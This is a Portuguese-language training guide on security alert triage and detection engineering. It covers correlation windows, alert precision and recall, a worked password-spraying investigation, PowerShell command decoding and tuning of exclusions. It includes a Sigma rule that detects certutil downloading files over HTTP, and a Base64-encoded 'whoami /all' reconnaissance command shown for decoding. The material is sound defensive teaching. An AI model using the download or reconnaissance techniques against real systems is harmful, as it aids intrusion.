O Sigma pode expressar correlações sobre regras base com type, rules, group-by, timespan e condition. Os tipos incluem event_count, value_count, temporal e temporal_ordered. Uma correlação de contagem de eventos sobre uma regra de falhas de logon pode agrupar por TargetUserName, usar 5m e exigir gte: 10. A conversão para um backend ainda exige mapeamento correto dos campos e semântica compatível.

Faça o tempo corresponder ao padrão pretendido

Janelas fixas dividem o tempo em blocos. Seis falhas em 10:00–10:05 e quatro em 10:05–10:10 nunca chegam a dez em nenhum dos blocos. Uma janela deslizante de cinco minutos pode detectar as dez se a sequência couber nela. Janelas maiores podem capturar ataques mais lentos e exigem mais processamento. A latência do alerta depende da frequência de execução, do atraso de ingestão e de a avaliação esperar ou não o fechamento de uma janela.

Use o horário do evento e considere chegadas tardias com atraso ou período de consulta anterior adequados. Normalize campos entre fontes, corrija problemas de relógio e remova entregas duplicadas pela identidade do evento antes de contar. Execuções sobrepostas de regras também precisam de agrupamento de alertas para que a mesma sequência não sobrecarregue a fila.

O alerta deve conter a finalidade da regra, usuário ou host, endereços, contagens, horários inicial e final, severidade, links para eventos brutos e orientações de triagem. Verifique os dados necessários e os volumes locais antes da implantação: a correlação não pode reconstruir um evento que a fonte nunca registrou.

Um alerta pode estar tecnicamente correto sem exigir tratamento de incidente. Use classificações de resultado consistentes para que os registros de encerramento ajudem a melhorar detecções em vez de esconder por que os alertas foram encerrados.

Separe o comportamento do seu significado

Um scanner de vulnerabilidades autorizado realmente faz varreduras. Uma regra de varredura que o identifica gera um verdadeiro positivo benigno. Um erro de análise que faz tráfego normal parecer uma varredura gera um falso positivo. Equipes diferentes usam classificações de maneiras diferentes; o requisito operacional importante é uma definição consistente e um motivo registrado.

A exatidão da correspondência de comportamento pergunta se o comportamento descrito ocorreu. A precisão dos alertas aqui pergunta qual proporção de todos os alertas foi confirmada como maliciosa. O denominador inclui falsos positivos e verdadeiros positivos benignos:

Seis alertas maliciosos entre 200 no total resultam em precisão de 3%. Se o scanner for responsável por muitas correspondências corretas, mas autorizadas, a exatidão da correspondência de comportamento pode ser boa enquanto a precisão dos alertas é baixa. Isso sugere alterar o escopo operacional da regra, não fingir que suas observações estavam erradas.

Considere o que não foi detectado

A revocação mede a proporção da atividade maliciosa real que foi detectada:

Casos não detectados podem surgir por meio de incidentes, caças a ameaças, trabalho de equipe ofensiva ou testes controlados. Sem essas evidências, uma fila tranquila diz pouco sobre a revocação. Elevar um limiar pode remover alertas ruidosos e ao mesmo tempo deixar passar ataques mais lentos, portanto avalie tanto o comportamento detectado quanto o não detectado.

A taxa de base importa porque ataques são raros entre eventos comuns. Uma taxa de disparos indevidos de 0,1% em cerca de dois milhões de eventos benignos produz aproximadamente 2.000 alertas falsos. Mesmo uma pequena porcentagem pode sobrecarregar uma equipe. Agregação, contexto mais forte e pontuação de risco podem tornar sinais fracos mais úteis.

Decida o que precisa de atenção primeiro

A severidade descreve a gravidade que a atividade detectada teria se fosse verdadeira. A prioridade determina a ordem de tratamento usando severidade, confiança e criticidade do ativo ou usuário. Um alerta de severidade média em um controlador de domínio pode ser mais urgente que um alerta de alta severidade em uma máquina de teste isolada.

Alertas repetidos de baixo valor criam fadiga de alertas: analistas passam os olhos e ataques reais ficam mais fáceis de perder. Cada alerta na fila deve apoiar uma ação ou decisão. Mantenha observações que não exigem ação disponíveis em registros ou painéis. Registre evidências e motivos de encerramento para que engenheiros possam distinguir análise incorreta, comportamento autorizado, saída duplicada e detecções realmente maliciosas durante o ajuste fino.

Triagem é a primeira avaliação para decidir se um alerta é real, qual é sua urgência e o que deve acontecer em seguida. Trabalhe dentro das metas de resposta da equipe e use a prioridade para decidir qual alerta examinar primeiro.

Siga um caminho repetível

1. Entenda. Leia a finalidade, a lógica, as entidades, o intervalo de tempo e o procedimento operacional da regra. Saiba qual comportamento ela indica e quais são suas causas benignas esperadas.
2. Valide. Abra os eventos brutos. Verifique a extração de campos, marcas temporais, host e identidade, resultado do evento, duplicatas e dados de teste. Um título convincente não corrige um mapeamento incorreto do campo de origem.
3. Acrescente contexto. Verifique a função e o responsável pelo ativo, privilégios, atividade normal, chamados de alteração, testes agendados, reputação dos indicadores e encerramentos anteriores.
4. Determine o escopo. Pesquise hosts, usuários, destinos, hashes e alertas relacionados antes e depois da correspondência. Construa uma breve linha do tempo em UTC.
5. Decida e documente. Encerre com um resultado fundamentado, continue observando com um motivo ou escalone uma suspeita de incidente.

Uma suposta janela de manutenção precisa de um registro de autorização correspondente. Uma conta conhecida de administrador pode estar comprometida. As verificações de contexto devem testar a explicação plausível em vez de simplesmente aceitá-la.

Analise o alerta de pulverização de senhas

O alerta informa que 198.51.100.77 tentou acessar 46 contas das 10:00 às 10:20 UTC. Registros brutos 4625 mostram 41 resultados de senha incorreta e cinco de usuário desconhecido, todos do tipo 3. O endereço não é de um scanner autorizado e não há teste de invasão agendado.

Pesquise sucessos da mesma origem e no mesmo intervalo de tempo. Um 4624 para m.tanaka aparece às 10:21, seguido de acesso à caixa de e-mail às 10:24. Esses eventos posteriores aumentam a confiança e a urgência em relação a um conjunto de tentativas de adivinhação bloqueadas. Documente qual conta teve sucesso e quais contas não apresentam sucesso observado. A ausência nos registros disponíveis deve permanecer vinculada ao escopo dessa pesquisa.

A decisão é escalonar como atividade maliciosa com alta prioridade. Anexe os registros brutos, as consultas, as verificações de autorização e a linha do tempo. Relatos de reputação apoiam a decisão, mas as ações relacionadas de autenticação e acesso à caixa de e-mail constituem a principal evidência.

Deixe um registro que outro analista possa usar

Um registro de encerramento informa o que foi verificado, os IDs e horários dos eventos relevantes, o escopo da consulta, as evidências de apoio, o raciocínio e o resultado. Para um verdadeiro positivo benigno, inclua a referência de autorização e quem a confirmou. Para um falso positivo, explique a divergência e faça uma solicitação de ajuste fino se houver recorrência.

Uma transferência de atendimento no escalonamento informa o que aconteceu, quando, as entidades afetadas, as evidências, a severidade e a confiança avaliadas, as perguntas sem resposta e qualquer risco imediato, como uma sessão ativa ou transferência de saída em andamento. A equipe de resposta a incidentes precisa distinguir fatos observados de hipóteses. Se o impacto puder ser alto e restar uma dúvida importante, escalone a incerteza com clareza em vez de esperar por todas as verificações possíveis.

Defina um limite de tempo para trabalho de baixa prioridade para que ele não tome o lugar de alertas críticos. Salve detalhes suficientes das consultas e dos resultados para que o próximo analista possa reproduzir a pesquisa e continuar a partir das mesmas evidências.

Uma boa consulta de investigação responde a uma pergunta específica. Comece pelo horário e pela entidade do alerta, selecione campos úteis e ordene pelo horário do evento. Amplie a pesquisa quando um resultado der motivo para isso.

Passe de uma pista às evidências relacionadas

Uma consulta independente de fornecedor pode pedir eventos de autenticação de 198.51.100.77 em 24 horas, agrupados por user.name e event.outcome. As contagens revelam a abrangência; as linhas brutas estabelecem ações e horários exatos. Uma única pesquisa de meses em todas as fontes costuma ser lenta e difícil de interpretar.

O pivoteamento investigativo percorre uma relação: endereço até os hosts que o contataram, host até o processo que iniciou a conexão, processo até o usuário, usuário até as entradas. Anote a consulta, os limites de tempo, os identificadores e o resultado de cada etapa. Faça a correspondência dos identificadores de processos e horários dos eventos quando disponíveis; caso contrário, um endereço ou número de processo reutilizado pode criar uma ligação falsa.

Decodifique sem executar

O -EncodedCommand do PowerShell usa Base64 de texto UTF-16LE. dwBoAG8AYQBtAGkAIAAvAGEAbABsAA== é decodificado para whoami /all. Selecione a codificação de texto correta após decodificar os bytes. Uma ferramenta como CyberChef pode encadear etapas; registre as camadas e preserve o valor original. A decodificação revela texto para exame; ela não exige executar o comando.

Acrescente contexto externo com segurança

Informações de registro, idade do domínio, propriedade da rede, geolocalização, reputação de IP, consultas de hash e relatórios existentes de ambientes isolados de análise podem orientar a próxima pesquisa. Um domínio recente ou um endereço de nuvem compartilhado com relatos exige corroboração. Uma reputação sem registros suspeitos pode refletir uma ameaça nova ou pouco observada.

Proteja os dados da investigação: use ferramentas de consulta aprovadas e ambientes isolados de análise, consulte um hash em vez de enviar um arquivo sensível a um scanner público e evite visitas diretas à infraestrutura suspeita pela rede corporativa. Envios públicos podem expor arquivos confidenciais ou revelar uma investigação a um atacante.

Assistentes de IA podem resumir registros, explicar comandos ou elaborar pesquisas. Verifique os campos e as conclusões sugeridos por esses assistentes nos eventos brutos e na documentação. Use ferramentas permitidas pela política de dados da organização. Trate sequências de texto dos registros controladas por atacantes, incluindo agentes de usuário e nomes de arquivos, como dados mesmo quando contiverem instruções direcionadas a um sistema de IA.

Mantenha distintas as listas de entidades

Um pivoteamento no proxy a partir de um host encontra mais três que contataram o mesmo endereço: quatro hosts tiveram contato. Uma pesquisa de e-mail encontra 14 destinatários de um documento. São populações diferentes. Confirme a execução nos hosts com evidências de endpoints e associe destinatários aos seus dispositivos antes de ampliar o escopo. O contato de rede, sozinho, deixa a execução sem confirmação, e subtrair contagens de hosts de contagens de destinatários produz um resultado sem significado.

A engenharia de detecção trata regras como um processo repetível de projeto, teste e manutenção. Detecções como código mantém as regras sob controle de versão, com revisão e verificações automatizadas, para que uma alteração possa ser explicada e reproduzida.

Comece pelo comportamento e pelos dados

Defina o requisito a partir de uma ameaça relevante, incidente, técnica do ATT&CK, achado de equipe ofensiva ou lacuna conhecida. Identifique a fonte e os campos que o revelam. Confirme a coleta, a extração de campos e a normalização antes de escrever a lógica. Depois escreva, teste, documente, implante, ajuste, revise e, por fim, retire a detecção.

Indicadores atômicos, como um hash de arquivo, podem identificar rapidamente um artefato conhecido. Regras comportamentais, como um programa do Office iniciando um interpretador de scripts, resistem a mais alterações no artefato. Mapeie o comportamento para técnicas relevantes do ATT&CK, por exemplo T1059.001 para PowerShell ou T1105 para transferência de ferramenta para o ambiente. Um rótulo registra a cobertura pretendida; um teste bem-sucedido estabelece que a implementação local realmente a detecta.

Leia uma regra Sigma

Sigma é um formato portável de detecção em YAML. Uma regra tem title, logsource e detection. Atributos da fonte de registros, como product, category e service, selecionam dados adequados; use a combinação que identifica a fonte. Seleções nomeadas descrevem correspondências, e condition as combina. Vários campos em uma seleção usam AND; uma lista de valores normalmente usa OR. Modificadores como contains, endswith e all alteram a correspondência.

title: Certutil Download Activity
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\certutil.exe'
  selection_cli:
    CommandLine|contains|all:
      - 'urlcache'
      - 'http'
  condition: selection_img and selection_cli
falsepositives:
  - Administrative file download
level: high
tags:
  - attack.t1105

Essa regra exige que a imagem do executável termine em \certutil.exe e que a linha de comando contenha tanto urlcache quanto http. Ela precisa de criação de processos com linhas de comando, como Sysmon 1 ou 4688 configurado adequadamente. Converta-a e verifique-a em relação aos mapeamentos de campos do backend. Renomear o binário pode evitar esse teste específico de imagem, portanto documente esse limite.

Teste e torne o alerta utilizável

Reproduza eventos semelhantes aos maliciosos ou execute simulações seguras aprovadas em um ambiente de teste. Confirme o alerta esperado e seus campos de entidade. Execute dados históricos normais, talvez de 30 dias, para estimar o ruído. Inclua casos extremos: maiúsculas e minúsculas, aspas, espaçamento, campos ausentes, ferramentas renomeadas e usos administrativos plausíveis. Um teste que dispara uma vez estabelece menos que um teste positivo combinado com testes de limites e de ruído.

Documente finalidade, fontes necessárias, lógica, mapeamento para o ATT&CK, severidade, causas benignas conhecidas, etapas de triagem, evidências de teste, volume esperado, responsável e data de revisão. Uma implantação apenas para monitoramento permite que a equipe examine a saída real antes de confiar nela operacionalmente. Regras precisam de um responsável para reagir quando estruturas das fontes ou atividades de negócio mudarem.

O ajuste fino altera a lógica, os limiares, o escopo ou o contexto da regra para tornar os alertas mais úteis para ação, preservando a detecção pretendida. Comece pelos registros de encerramento: análise incorreta, comportamento autorizado e saída repetida exigem correções diferentes.

Escolha uma alteração adequada à causa

Para comportamento autorizado conhecido, use uma exceção restrita. Para eventos não relacionados, acrescente uma condição significativa, como processo pai, caminho completo, elemento da linha de comando, função da identidade ou contexto do ativo. Ajuste limiares e janelas em relação à atividade medida. Agrupe correspondências repetidas em um alerta por entidade e período. Um sinal fraco pode contribuir para a pontuação de risco em vez de criar um item separado na fila.

Exclusões precisam de responsável, motivo e data de revisão ou expiração. Exclua o endereço e a identidade específicos de um scanner para a regra de varredura, com o horário aprovado. Excluir todo o 10.0.0.0/8 cegaria a regra para ataques internos. Uma exceção de backup deve usar um caminho completo confiável e um signatário; malware pode copiar um nome de arquivo como backup.exe. Uma pasta inteira em que se pode gravar, como C:\Temp\, é um atalho inseguro.

Meça a alteração do exemplo

Uma regra de varredura gera 200 alertas em um mês; seis são confirmados como maliciosos. A precisão dos alertas é 3%. A triagem encontra 150 correspondências do scanner autorizado 10.0.9.15 durante sua janela de varredura. Excluir essa origem para essa regra e janela deixa 50 alertas, incluindo os mesmos seis maliciosos:

O volume cai 75%. As detecções maliciosas observadas são mantidas, e uma varredura desse host fora de sua janela ainda gera alerta. Esse resultado retrospectivo não abrange todos os caminhos de ataque futuros; teste também atividade maliciosa próxima ao limite da exclusão, incluindo possível uso indevido de um sistema aprovado.

Elevar um limiar de falhas de 10 para 50 em cinco minutos pode suprimir novas tentativas comuns, mas também deixa passar ataques entre esses valores. Desabilitar a regra remove completamente sua cobertura. Execute novamente testes positivos após cada alteração de ajuste fino e examine quais casos antes detectados agora desaparecem.

Mantenha visíveis a qualidade e o estado operacional dos dados

Acompanhe o volume por regra, as detecções confirmadas como maliciosas, a precisão e os casos conhecidos não detectados. Uma taxa de falsos positivos precisa de um denominador definido; a proporção de alertas encerrados como falsos positivos é uma medida diferente da taxa entre eventos benignos. Documente qual métrica a equipe apresenta.

O tempo médio de detecção mede o intervalo entre o início da atividade maliciosa e sua detecção. O tempo médio de resposta acompanha o intervalo de resposta definido pela equipe. Mantenha essa definição consistente ao comparar períodos. Revise a cobertura testada das técnicas prioritárias do ATT&CK junto com o estado operacional das fontes, campos ausentes, falhas de análise e acúmulos em filas. Uma queda no número de alertas após a falha de um analisador é uma falha de monitoramento.

Execute novamente os testes após alterações em fontes ou analisadores, revise exceções próximas do vencimento, retire regras obsoletas e acrescente detecções para comportamentos que passaram a ser relevantes. Exercícios conjuntos de equipes ofensivas e defensivas e simulações de violações e ataques podem revelar lacunas antes de um incidente real. Armazene as alterações e os resultados dos testes com a regra para que a próxima revisão mostre por que seus limites atuais existem.